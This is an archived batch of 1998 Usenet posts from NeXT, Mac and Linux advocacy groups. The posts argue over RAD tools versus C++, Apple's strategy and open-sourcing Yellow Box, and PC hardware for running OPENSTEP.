> environment's which are very good. IB comes to mind. BTW, what, in your
> opinion (which could only be formed through the use of your massive
> intellect), makes C++ a "real" tool?
You are right, about one to one RAD to VB. They are not the same, but,
they stem from an assumption that software development can be made easy.
Yes, small development can be easy. Report builders and data entry
systems are the perfect applications for things like VB, Tcl. etc.
By "real" tool, I mean a human readable relationship between written
code and compiled code. Assembler, C, C++, and some versions of fortran
have this. If the tool can dump the assembler representation of the code
produced, then it is "real." Anyone that says that this is not important
has never tracked down a bug in a development tool.
I have seen, with my own eyes, compiler bugs where mathmatical operands
were switched by the compiler incorrectly. Any "programmer" that relies
on a development tool without being able to detect and document a bug in
the tool has either chosen the wrong tools or needs to hit the books.
This statement sounds elitest. I know, but, I would not take my car to a
mechanic that just assumed the diagnostic machines were right, even
though my car ran like crap. Competence is about knowing more than your
tools.
--
Mohawk Software
Windows 95, Windows NT, UNIX, Linux. Applications, drivers, support.
Visit the Mohawk Software website: www.mohawksoft.com
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 7 Dec 1998 00:47:42 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn76m9de.ifu.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <749ppf$mc$1@nnrp03.primenet.com> <SCOTT.98Dec5030026@slave.doubleu.com> <74blaq$eqt$1@nnrp03.primenet.com> <912919429.773189@optional.cts.com> <74d5hf$tdf$1@your.mother.com>
NNTP-Posting-Date: 7 Dec 1998 00:47:42 GMT
On Sat, 5 Dec 1998 21:23:07 -0800, Todd Heberlein wrote:
:Its kind of funny that Apple has $2 billion in cash but only has a
:market value of $4.5 billion. It has a price/earnings ratio of 16,
:compared to 31 for Adobe, 69 for Dell, and 200 for Pixar!
:
:Apple finally has a good consumer model which is selling well, an OS
:(8.5) which is well received, and solid products (MacOS X and Yosemite)
:in the pipeline.
:
:Smells to me like Apple could be a potential take over target.
Indeed.
The iCEO is not searching for just a new CEO but a new owner.
Exit strategy in place: options locked and loaded.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "do || !do; try: Command not found"
* /sbin/yoda --help
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
References: <749sn9$4m6$1@nnrp1.dejanews.com> <B28EF5FE-25285@206.165.43.151> <74e6nc$fub$1@nnrp1.dejanews.com>
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Message-ID: <F6Ga2.2212$I04.42486@typhoon-sf.snfc21.pbi.net>
Date: Sun, 6 Dec 1998 17:20:40 -0800
NNTP-Posting-Date: Sun, 06 Dec 1998 17:23:49 PDT
Organization: SBC Internet Services
malcolm@plsys.co.uk wrote in message <74e6nc$fub$1@nnrp1.dejanews.com>...
>You've been yammering on about how wonderful GX is because it supports
>"pseudo"-3D text for almost two years now -- polluting this newsgroup to
the
>extent that a number of people have left solely because of the detritus
from
>your posts (yes I have heard directly from several people who have said
>this). I'm sure most people reading your posts would believe that GX could
>not only do realtime Phong shading, but bake bread, cure acne and provide
^^^^^^^
>home tuition on aromatherapy. ...
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Actually, that's part of the not very well documented GX Extensions for
the Internet, which is able to log into several web sites providing
tuition support. Of course, it's not every well supported, and there
seems to be a bug whereby the amount of financial support you receive
is highly dependant on the third column of the GX's current
transformation matrix...
- Bill Woody
(Who can't believe how seriously some people take this...)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 7 Dec 1998 01:36:09 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74fbe9$ouk@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74e89r$f8r@news1.panix.com> <366ADD69.14C740AC@nstar.net>
On Sun, 06 Dec 1998 13:39:22 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>Sal Denaro wrote:
>> Would that same person have also resolved all the licensing issues around
>> DPS?
>I have no idea. Why do you ask?
To demonstrate that there are non-technical issues, unrelated to the direct
costs of developer/testing/documenting that might also prevent Apple from
doing this.
From: Simon Kinahan <simon@flatnet.demon.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Mon, 07 Dec 1998 00:49:19 +0000
Message-ID: <366B260F.1EF83B6D@flatnet.demon.co.uk>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <3669FD63.5BD808D6@nstar.net> <slrn76kfuf.fv.davecook@sputnik.escnd1.sdca.home.com>
MIME-Version: 1.0
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"David M. Cook" wrote:
> Netscape is written to be portable to many platforms using a carefully
> chosen C++ subset.
Regrettably the portable subset of C++ requires either the use of
proprietary class libraries, or sacrificing the most useful features of the
language.
Simon
####################################################################
From: zizi zhao <ziziz@worldnet.att.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Replace my Next station ???
Date: 7 Dec 1998 00:48:53 GMT
Organization: personal
Message-ID: <366B261B.2F4D@worldnet.att.net>
References: <749llu$ja$4@news.eunet.ch> <19981204194733.01052.00000101@ng-bw1.aol.com> <SCOTT.98Dec5033208@slave.doubleu.com>
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Will this system work with both NS/I 3.3 and 4.2, or 4.2 only?
I found black cases at local Fry's, but cannot find black mouse
and keyboard. Although there are some black wireless keyboards,
they need special drivers.
Black CD-RW is available.
Black monitors ?
zizi
_______________________________________________________________
Scott Hess wrote:
>
> In article <19981204194733.01052.00000101@ng-bw1.aol.com>,
> willadams@aol.com (WillAdams) writes:
> Well, my vote would be for a high-end PC clone running OPENSTEP.
>
> Or just a moderate-end PC clone:
>
> $130 Celeron 333A (the one with 128K cache!)
> $115 64M PC100 RAM
> $140 Asus P2B motherboard
> $100 Matrox Millenium II or equivalent
> $ 50 10/100 Ethernet (Tulip or somesuch)
> $160 6Gig Western Digital EIDE drive
> $ 25 floppy drive
> $ 30 20x ATAPI CD-ROM
> $100 ATX enclosure
> $ 25 PS/2 keyboard
> $ 25 PS/2 mouse
> ----
> $ 880 Total (w/o shipping and applicable taxes)
>
> (prices from http://www.esctechnologies.com/cgi-bin/go/esc/toc.htm?E+esc
> They'll even put everything together for you, but you'll obviously be
> installing NS3.3 or OS4.2 by yourself :-). I've bought 2 systems
> plus various pieces parts from them.)
>
> This is _essentially_ what I have, and it pretty much kicks ass. [I
> have 128M PC100, and 2 Quantum Atlas II SCSI drives, but coming from a
> NeXTstation, that extra cost isn't worth much.] Just make sure you
> get supported hardware. The video card is key, because things have
> been moving very fast in video cards in the past couple years, and the
> NS/OS driver support is getting pretty spotty.
>
> And sound. Consider whether sound is important to you. The
> intersection between NS/OS sound support and what the market makes
> available to you can be _terribly_ hard to track. I recently bought
> an old-old-old ProAudio Spectrum card for $15, simply because it's
> one of the cards I know works.
>
> You'll have to add a monitor, of course, but I consider that a
> seperate purchase. My current monitor is now fronting for its fourth
> CPU box... you might want to aquire the keyboard and mouse seperately,
> since they're your main interface to the machine. [Hint: It's easy to
> spend too much on keyboards, mice, and monitors, but it's _deadly_ to
> spend too little.]
>
> Of course, if you're _really_ squeamish around hardware, the Apple
> will happily send you a prepackaged system. I'm not completely happy
> with the amount of research required sometimes to build a good hand-
> picked system - on the other hand, all of my systems are solid
> systems. The system above is basically what I'd recommend to
> coworkers who ask me.
>
> Later,
> --
> scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
> <Favorite unused computer book title: The Compleat Demystified Idiots
> Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
####################################################################
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Replace my Next station ???
Date: 7 Dec 1998 01:36:15 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74fbef$ouk@news1.panix.com>
References: <749llu$ja$4@news.eunet.ch> <19981204194733.01052.00000101@ng-bw1.aol.com> <SCOTT.98Dec5033208@slave.doubleu.com> <74e89u$f8r@news1.panix.com> <366AD0B4.2B75C23F@home.com>
On Sun, 06 Dec 1998 18:43:34 GMT, Ari <arikounavis@home.com> wrote:
>Overall if you know how to tool around with hardware and look at the
>prices of this stuff, its tough to look at a mac and say "yeah, I want
>that."
I'm not opposed to paying more if I get my money's worth. As it stands
now I am not ver impressed with the value of Apple's current Pro line.
Their laptops and consumer line compares a little better.
>You can stuff up a PC with an incredible amount of (consumer &
>gamer) hardware for $2500. But the sgi flatpanel is right out!
I'm not into overclocking or drilling holes into my CPUs. I gave that
kind of stuff up back in the days of "disk notching"
6 help with any of the following:
1) Can I subclass a form? (ie, create a DBForm, then create new classes called
BrowseDBFrom and EditDBForm that inherit all the features of DBForm, even if
I go back and edit DBForm to add/remove objects?)
2) Does VB6 have an object store?
3) How well does VB6 support RTTI?
4) How easy is it to make your own native components (not ActiveX)
I can go on and compare EOF to Jet and DAO, but the XFiles starts in an hour...
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: 7 Dec 1998 01:39:04 GMT
Organization: MiscKit Development
Message-ID: <74fbjo$mhj$1@news.xmission.com>
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com> <F390n1.41w@T-FCN.Net> <3663A2B1.854@earthlink.net> <742247$efi$1@nnrp1.dejanews.com> <3666263B.5551@earthlink.net> <746o1f$dnt$1@nnrp1.dejanews.com> <SCOTT.98Dec4150741@slave.doubleu.com>
Mime-Version: 1.0
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NNTP-Posting-Date: 7 Dec 1998 01:39:04 GMT
scott@nospam.doubleu.com (Scott Hess) wrote:
> In article <746o1f$dnt$1@nnrp1.dejanews.com> malcolm@plsys.co.uk
> writes:
> what happens if you hold down the Shift key whilst mousing in the
> colour wheel itself?
>
> Now you've got me wondering why it doesn't to a similar "keep same
> radius" type thing for Alternate or Command or something...
That's what I said to mmalc when I edited/proofed the article...which makes
at least three people who've thought of this right off. Strange that
something apparently so obvious would be left out.
mmalc asks:
> I'm not sure what the use would be of finding colours of different
> hue but with the same saturation (i.e. same radius)?
Say I'm trying to create some logo graphics or something for print/web where
I want all my colors to be muted or pastel-ish. Perfect example is selecting
a palette of colors for tiles in a Tetris-like game. It's hard to get a
powder green that fits well with a powder blue you've already selected if
you're using the color wheel to do it. (I often fall back to using the HSB
picker for this kind of thing.)
And as Will Adams suggested, if there's a chance the artwork will turn up in
black and white, then you want the brightness values to be guaranteed to be
different...
It is interesting how complex a seemingly simple task (picking a color) can
be!
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Replace my Next station ???
Date: 5 Dec 98 03:32:08
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec5033208@slave.doubleu.com>
References: <749llu$ja$4@news.eunet.ch> <19981204194733.01052.00000101@ng-bw1.aol.com>
In-reply-to: willadams@aol.com's message of 5 Dec 1998 00:47:33 GMT
In article <19981204194733.01052.00000101@ng-bw1.aol.com>,
willadams@aol.com (WillAdams) writes:
Well, my vote would be for a high-end PC clone running OPENSTEP.
Or just a moderate-end PC clone:
$130 Celeron 333A (the one with 128K cache!)
$115 64M PC100 RAM
$140 Asus P2B motherboard
$100 Matrox Millenium II or equivalent
$ 50 10/100 Ethernet (Tulip or somesuch)
$160 6Gig Western Digital EIDE drive
$ 25 floppy drive
$ 30 20x ATAPI CD-ROM
$100 ATX enclosure
$ 25 PS/2 keyboard
$ 25 PS/2 mouse
----
$ 880 Total (w/o shipping and applicable taxes)
(prices from http://www.esctechnologies.com/cgi-bin/go/esc/toc.htm?E+esc
They'll even put everything together for you, but you'll obviously be
installing NS3.3 or OS4.2 by yourself :-). I've bought 2 systems
plus various pieces parts from them.)
This is _essentially_ what I have, and it pretty much kicks ass. [I
have 128M PC100, and 2 Quantum Atlas II SCSI drives, but coming from a
NeXTstation, that extra cost isn't worth much.] Just make sure you
get supported hardware. The video card is key, because things have
been moving very fast in video cards in the past couple years, and the
NS/OS driver support is getting pretty spotty.
And sound. Consider whether sound is important to you. The
intersection between NS/OS sound support and what the market makes
available to you can be _terribly_ hard to track. I recently bought
an old-old-old ProAudio Spectrum card for $15, simply because it's
one of the cards I know works.
You'll have to add a monitor, of course, but I consider that a
seperate purchase. My current monitor is now fronting for its fourth
CPU box... you might want to aquire the keyboard and mouse seperately,
since they're your main interface to the machine. [Hint: It's easy to
spend too much on keyboards, mice, and monitors, but it's _deadly_ to
spend too little.]
Of course, if you're _really_ squeamish around hardware, the Apple
will happily send you a prepackaged system. I'm not completely happy
with the amount of research required sometimes to build a good hand-
picked system - on the other hand, all of my systems are solid
systems. The system above is basically what I'd recommend to
coworkers who ask me.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com>
From: bhurt@visi.com (Brian Hurt)
Message-ID: <NMIa2.243$Fd6.966534@ptah.visi.com>
Date: Mon, 07 Dec 1998 04:25:17 GMT
NNTP-Posting-Date: Sun, 06 Dec 1998 22:25:17 CDT
Matthew Cromer <matthew_cromer@iname.com> writes:
>Part of the advantage of the Microsoft platform for developers is the
>component model, which used to be called OLE and then OLE 2 and now which
>is called ActiveX.
>I am wondering what kind of analogous parts are planned or exist for
>MacOS X. I believe that Java is using Javabeans and the like for this
>kind of functionality. I am also wondering if there is any movement
>towards this sort of component architecture forthcoming in the Opensource
>world.
Corba. Gnome is doing a lot with it- expect a "component desktop".
JavaBeans hooks into Corba. I'd love to see Perl/Tk/Corba vr.s Visual
Basic/ActiveX...
From: hzink@pacbell.net (Harry)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <hzink-0712980135590001@192.168.100.102>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <749ppf$mc$1@nnrp03.primenet.com> <SCOTT.98Dec5030026@slave.doubleu.com> <74blaq$eqt$1@nnrp03.primenet.com> <912919429.773189@optional.cts.com> <74d5hf$tdf$1@your.mother.com> <slrn76m9de.ifu.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Organization: Fizbin Consulting
Date: Mon, 07 Dec 1998 01:35:59 -0800
NNTP-Posting-Date: Mon, 07 Dec 1998 01:35:57 PDT
In article <slrn76m9de.ifu.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
> The iCEO is not searching for just a new CEO but a new owner.
> Exit strategy in place: options locked and loaded.
This is the kind of crappy, idiotic commentary I fail to understand.
Any other idiotic comments?
Harry
From: hzink@pacbell.net (Harry)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <hzink-0712980137460001@192.168.100.102>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <199812052237331041835@ts5-41.aug.com>
Organization: Fizbin Consulting
Date: Mon, 07 Dec 1998 01:37:46 -0800
NNTP-Posting-Date: Mon, 07 Dec 1998 01:37:44 PDT
In article <199812052237331041835@ts5-41.aug.com>, nojunkhattonr@aug.com
(Rick) wrote:
> ... besides MKlinux...
Which is no longer being actively supported by Apple, BTW.
Harry
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Mon, 07 Dec 1998 08:21:53 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74g370$117$1@nnrp1.dejanews.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <74ddfd$slo$1@nnrp1.dejanews.com> <366B248A.5F03219A@mohawksoft.com>
In article <366B248A.5F03219A@mohawksoft.com>,
Mark Woodward <markw@mohawksoft.com> wrote:
> Super computer programs are far different than "microcomputer" programs.
> I am mostly referring to VB and ActiveX, the Windows only club of
> development standards.
Then you should have said so. You attacked RAD as a whole.
> You are right, about one to one RAD to VB. They are not the same, but,
> they stem from an assumption that software development can be made easy.
> Yes, small development can be easy. Report builders and data entry
> systems are the perfect applications for things like VB, Tcl. etc.
>
> By "real" tool, I mean a human readable relationship between written
> code and compiled code.
This notion seems to vague to be useful. Please expand your definition.
> Assembler, C, C++, and some versions of fortran
> have this. If the tool can dump the assembler representation of the code
> produced, then it is "real." Anyone that says that this is not important
> has never tracked down a bug in a development tool.
Will any compiled language do? Why or why not?
> I have seen, with my own eyes, compiler bugs where mathmatical operands
> were switched by the compiler incorrectly. Any "programmer" that relies
> on a development tool without being able to detect and document a bug in
> the tool has either chosen the wrong tools or needs to hit the books.
You can do this with interpreted languages. You simply trace through the
interpreter code using a low-level debugger until you find the problem. I have
a friend who is amazingly good at this.
> This statement sounds elitest. I know, but, I would not take my car to a
> mechanic that just assumed the diagnostic machines were right, even
> though my car ran like crap. Competence is about knowing more than your
> tools.
And intelligence requires more than making broad generalizations.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: azid@technologist.com (head)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Lawson's Law
Date: Mon, 07 Dec 1998 09:45:10 +0100
Organization: azid
Message-ID: <azid-0712980945110001@ti01a23-0067.dialup.online.no>
References: <74eklj$m73$1@cronkite.cs.umd.edu> <azid-0612982030310001@ti34a21-0060.dialup.online.no> <tsunami-0712980919370001@d84-nas2.pen.pnc.com.au>
NNTP-Posting-Date: 7 Dec 1998 08:45:01 GMT
Mail-Copies-To: never
In article <tsunami-0712980919370001@d84-nas2.pen.pnc.com.au>,
tsunami@pnc.com.au (Graham) wrote:
> WHAT IF I CALLED YOU A QuickDraw GX NAZI FASCIST?
(this is absolutely not a thread, it just cant be)
--
animam animam Dixi et salvani animam animam
animam meam<azid@technologist.com>animam meam
animam animam Dixi et salvani animam animam
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,misc.invest.stocks,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Net '94 = Linux '99
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec7000502@slave.doubleu.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be>
<B6DC2A2A2680901E.344457EA9C0EB739.05181CE8B041105B@library-proxy.airnews.net>
In-reply-to: a1050pi@yahoo.com's message of Sat, 05 Dec 1998 17:59:44 GMT
Date: 7 Dec 98 00:05:02
NNTP-Posting-Date: Mon, 07 Dec 1998 01:59:47 PDT
a1050pi@yahoo.com (Sheldon Gartner) wrote:
It is so painfully obvious for Apple to switch to Linux that it's
growing ever _more_ obvious that they're going to blow it and
simply go out of business. They could contribute Yellow Box to
Linux, or make OpenStep totally open source (that would certainly
give GNUStep a shot in the arm, huh 8-) ) Or get really crazy and
open source everything but the kernel of OSX.
That _would_ be really crazy, since everything below the Unix layer is
based on OpenSource software in the first place, and everything above
is where the real money is.
Don't get me wrong - I think that OpenSource is very worthwhile, and
am happy to participate to my abilities in the movement. But there's
a difference between participating in OpenSource on the boundaries of
a company and participating at the _core_. It's unclear whether the
OpenSource model will carry a company the size of Apple. I think that
it's really cool that companies like RedHat and Cygnus seem to be
making a good go of things in the OpenSource arena. But Apple is,
what, 1000 times the size of RedHat? 5000? Apple probably has a
bigger yearly payroll than the yearly income of all the people who
contribute to any of the Linux distributions.
"Walk you must, before run you do." Let's just get Apple _dabbling_
in OpenSource, for now. OpenSource the Mach/Unix layer. Why not?
It's already mostly OpenSource anyhow. Or put YellowBox, aka The
Family Jewels, on an already OpenSource OS. If that works, widen the
net.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<"Learn English you should, before teach you do">
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec7001257@slave.doubleu.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com>
In-reply-to: Mark Woodward's message of Sat, 05 Dec 1998 22:41:00 -0500
Date: 7 Dec 98 00:12:57
NNTP-Posting-Date: Mon, 07 Dec 1998 01:59:47 PDT
In article <3669FCCC.ABCCE1A0@mohawksoft.com>,
Mark Woodward <markw@mohawksoft.com> writes:
As a Windows/Windows NT/Linux/UNIX developer, I can only say grow
up. ActiveX is brain dead, VB is for idiots and accountants.
If you want to develop software, use real tools. C/C++ and/or
Assembler. ActiveX is an intentional road block to portability.
The RAD development idea is for idiotic acronym touting jerks. If
you can write an application in VB in 1 day or less, it like any
interpreted language is fine. When you want to write real
applications, VB is a huge road block to success.
I know, this discussion will cause a lot of hate responses. This
will no doubt be the result of VB developers to justify their
positions. Too bad, you will write, I expect that you will, and
alas, in two years when your big VB project has taken a year more
than it should have. I hope you remember.
You know the phrase "Build a better mousetrap and the world will beat
a path to your door?" Well, ActiveX is a better mousetrap. Things
like YellowBox are generalized animal capture units, scalable from
bacteria to ecosystems - but at this point, they won't fit in your
house, and thus makes a rather crummy mousetrap for home use.
Of course, ActiveX isn't worth alot for live capture of elephants.
But people will try, and 5% of the elephants will be considered "live"
after capture.
[Technical coolness seldom sells computer products, and spending your
time worrying about the problem isn't going to solve it. Personally,
I "solve" the problem by ignoring it. Just because everybody uses
crummy software doesn't mean _I_ have to,]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 7 Dec 1998 01:36:12 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74fbec$ouk@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <749vtr$7b3@news1.panix.com> <FIiROLCWddLd-pn2-GVdDqqLGe7qi@localhost>
On 6 Dec 98 16:22:11 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>> After spending $400 Mil on it? Don't think so.
>That money bought Apple lots of things, incl. new management.
Fair enough; but, I have yet to see anything to convince me that Apple
would OpenSource YB, or would plan to in the near term.
>> What _might_ happen is that Apple would make the source code for the BSD
>> and Mach portions of the OS available. Apple has already posted some source
>> up on its developer web site, this would not be all that different.
>I believe Apple would be wise to explore ways to release varying
>degrees of YB source to potential licencees (companies, universities)
>and the general Open Source community while keeping control of
>compatibility and commercial licencing issues.
Apple (and NeXT before that) has released parts of YB as opensource, when
they were no longer going to be supported. I think they did this with
a recent framework (NSPPL?), and they did it before with 3dkit and soundkit
(IIRC)
> If Apple keeps YB fully
>proprietary chances are that it will never make a dent in the market
>and Apple is left with a New Niche to live in.
Just like Windows couldn't make a dent because it is fully proprietary?
> The way out of niche is
>_compatibility_. YB and Linux could help propel both into world
>domination. Faster. But with YB kept prorietary and without the Linux
>synergy... only Linux will get there.
I think there will be plenty of synergy between GNUStep on Linux and
YB on OSX and NT. And the competition will be good for both sides.
> And Apple's $400M investment in
>NeXT and their technologies becomes just another chapter in a string
>of wasted business opportunities. Think different.
I think WO4 will make back a big chunk of that money on its own.
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec6181754@slave.doubleu.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net>
<f6r92.2428$CY1.9646758@news.itd.umich.edu>
<746k9p$820$1@your.mother.com>
<WGB92.2484$CY1.9917779@news.itd.umich.edu>
<74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net>
<74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net>
In-reply-to: "Michael J. Peck"'s message of Sat, 05 Dec 1998 12:37:15 -0600
Date: 6 Dec 98 18:17:54
NNTP-Posting-Date: Mon, 07 Dec 1998 01:59:46 PDT
In article <36697D5B.36286143@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> writes:
malcolm@plsys.co.uk wrote:
> Quite reasonably too -- it's called "focus". If you have
> restricted resources -- which sadly Apple does (and Micro$oft
> pretty much doesn't) -- there's no point in spending *large*
> amounts of time and money in peripheral areas. As Apple recovers
> I'd expect the company's horizons to expand (we've already seen
> this with WebObjects).
The "limited resources" argument just doesn't have any evidence to
back it up, none whatsoever. In the first place, it does nothing to
excuse Apple's behavior toward developers who have been refused
demos, betas, information, and evangelizing.
I don't buy the "limited resources" bugbear, either. It probably
justifies the development expense based on quality asssurance aspects
_alone_. If they've put enough thought into the product that it runs
fine on such a different platform, it will be more likely to run well
on the core platform.
"Limited resources" is all relative. Apple may have "limited
resources" when compared to Microsoft, but then how does Be manage to
run on x86 when they're hundreds of times smaller than Apple? Apple
probably spends more on banners for placement in CompUSA than they'd
spend on maintaining the x86 port.
In the second place, a Linux port is trivial by comparison to NT
ports. I don't need to give you a litany of the differences
between NT and generic Unices, and both BSD and Linux are "generic
Unices".
I think that cuts to the root of the "limited resources" argument. I
think a Linux port would be alright - but, better yet, since it sounds
like they're already fully behind BSD4.4 Lite, why not run on FreeBSD
or somesuch on _both_ platforms. Release drivers for new hardware as
Open Source, then leverage on Open Source to provide support for all
the wacky x86 cruft.
If they are _truly_ operating with "limited resources", then it only
makes sense that they should levrage other people's work on PPC, too.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: fellowsd@cs.man.ac.uk (Donal K. Fellows)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 7 Dec 1998 10:52:05 GMT
Organization: Dept of Computer Science, University of Manchester, U.K.
Message-ID: <74gc0l$qmt$1@m1.cs.man.ac.uk>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74e79s$gd1$1@nnrp1.dejanews.com> <74e7v2$m8b$1@crib.corepower.com> <74ebkv$pkq$2@samsara0.mindspring.com>
In article <74ebkv$pkq$2@samsara0.mindspring.com>,
Matthew Cromer <matthew_cromer@iname.com> wrote:
> In article <19981206074258.00943.00000641@ng-bw1.aol.com> WillAdams,
> willadams@aol.com writes:
[ ... ]
Eh? You seem to think you are replying to article
<19981206074258.00943.00000641@ng-bw1.aol.com> but your software seems
to think you are replying to <74e79s$gd1$1@nnrp1.dejanews.com>. This
makes working out the thread of the discussion somewhat tricky.
Kindly fix this discrepancy between your content and your References:
header line so we can understand the true power of your words in their
full context.
HAND.
Donal.
--
Donal K. Fellows http://www.cs.man.ac.uk/~fellowsd/ fellowsd@cs.man.ac.uk
Department of Computer Science, University of Manchester, U.K. +44-161-275-6137
--
"And remember, evidence is nothing." - Stacy Strock <spoon@adisfwb.com>
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Lawson's Law
Date: Mon, 07 Dec 1998 11:36:32 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74gek0$a0g$1@nnrp1.dejanews.com>
References: <74eklj$m73$1@cronkite.cs.umd.edu>
In article <74eklj$m73$1@cronkite.cs.umd.edu>,
seanl@cs.umd.edu (Sean Luke) wrote:
> I propose Lawson's Law and accompanying tradition, which goes like this:
>
